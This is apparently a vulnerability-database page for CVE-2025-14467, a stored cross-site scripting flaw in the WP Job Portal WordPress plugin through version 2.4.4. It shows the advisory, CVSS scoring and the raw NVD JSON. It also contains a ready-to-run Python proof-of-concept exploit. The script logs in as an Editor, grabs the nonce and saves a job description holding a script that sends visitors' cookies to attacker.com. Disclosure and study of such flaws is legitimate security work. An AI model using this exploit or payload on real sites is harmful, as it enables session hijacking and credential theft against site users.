Security Vulnerability Report
中文
CVE-2025-14467 CVSS 4.4 MEDIUM

CVE-2025-14467

Published: 2025-12-12 04:15:50
Last Modified: 2026-04-15 00:35:42

Description

The WP Job Portal plugin for WordPress is vulnerable to Stored Cross-Site Scripting in all versions up to, and including, 2.4.4. This is due to the plugin explicitly whitelisting the `<script>` tag in its `WPJOBPORTAL_ALLOWED_TAGS` configuration and using insufficient input sanitization when saving job descriptions. This makes it possible for authenticated attackers, with Editor-level access and above, to inject arbitrary web scripts into job description fields via the job creation/editing interface. These scripts will execute whenever a user accesses an injected page, enabling session hijacking, credential theft, and other malicious activities.This only impacts multi-site installations, or those with unfiltered_html disabled.

CVSS Details

CVSS Score
4.4
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

WP Job Portal < 2.4.4
WP Job Portal 2.4.4 (及所有更早版本)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests import re # CVE-2025-14467 PoC - WP Job Portal Stored XSS # Target: WordPress site with WP Job Portal plugin <= 2.4.4 BASE_URL = "http://target-wordpress-site.com" USERNAME = "editor_user" # Requires Editor-level access PASSWORD = "password" def get_nonce(session, url): """Extract WordPress nonce from page""" response = session.get(url) match = re.search(r'name="_wpnonce" value="([a-f0-9]+)"', response.text) if match: return match.group(1) return None def exploit_stored_xss(): """Inject malicious JavaScript via job description field""" session = requests.Session() # Step 1: Login with Editor-level account login_url = f"{BASE_URL}/wp-login.php" login_data = { 'log': USERNAME, 'pwd': PASSWORD, 'wp-submit': 'Log In', 'redirect_to': f"{BASE_URL}/wp-admin/" } session.post(login_url, data=login_data) # Step 2: Create new job with XSS payload in description add_job_url = f"{BASE_URL}/wp-admin/admin.php?page=wpjobportal_job&task=savejob" nonce = get_nonce(session, add_job_url) # XSS Payload - Steals cookies/session xss_payload = '''<script>var img=new Image();img.src="http://attacker.com/log?c="+document.cookie;</script>''' job_data = { '_wpnonce': nonce, 'title': 'Malicious Job Position', 'description': xss_payload, 'savejob': 'Save Job' } response = session.post(add_job_url, data=job_data) print("[+] XSS payload injected successfully") print("[*] Payload will execute when users view the job listing") if __name__ == "__main__": exploit_stored_xss()

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-14467", "sourceIdentifier": "[email protected]", "published": "2025-12-12T04:15:50.450", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The WP Job Portal plugin for WordPress is vulnerable to Stored Cross-Site Scripting in all versions up to, and including, 2.4.4. This is due to the plugin explicitly whitelisting the `<script>` tag in its `WPJOBPORTAL_ALLOWED_TAGS` configuration and using insufficient input sanitization when saving job descriptions. This makes it possible for authenticated attackers, with Editor-level access and above, to inject arbitrary web scripts into job description fields via the job creation/editing interface. These scripts will execute whenever a user accesses an injected page, enabling session hijacking, credential theft, and other malicious activities.This only impacts multi-site installations, or those with unfiltered_html disabled."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:L/I:L/A:N", "baseScore": 4.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/wp-job-portal/tags/2.3.9/includes/constants.php#L351", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/wp-job-portal/tags/2.3.9/modules/job/model.php#L1278", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/wp-job-portal/tags/2.3.9/modules/job/tmpl/views/frontend/title.php#L231", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/wp-job-portal/trunk/includes/constants.php#L351", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/wp-job-portal/trunk/modules/job/model.php#L1278", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/wp-job-portal/trunk/modules/job/tmpl/views/frontend/title.php#L231", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/0c347b9f-d297-4cb5-9c4a-1001d845ed5a?source=cve", "source": "[email protected]"}]}}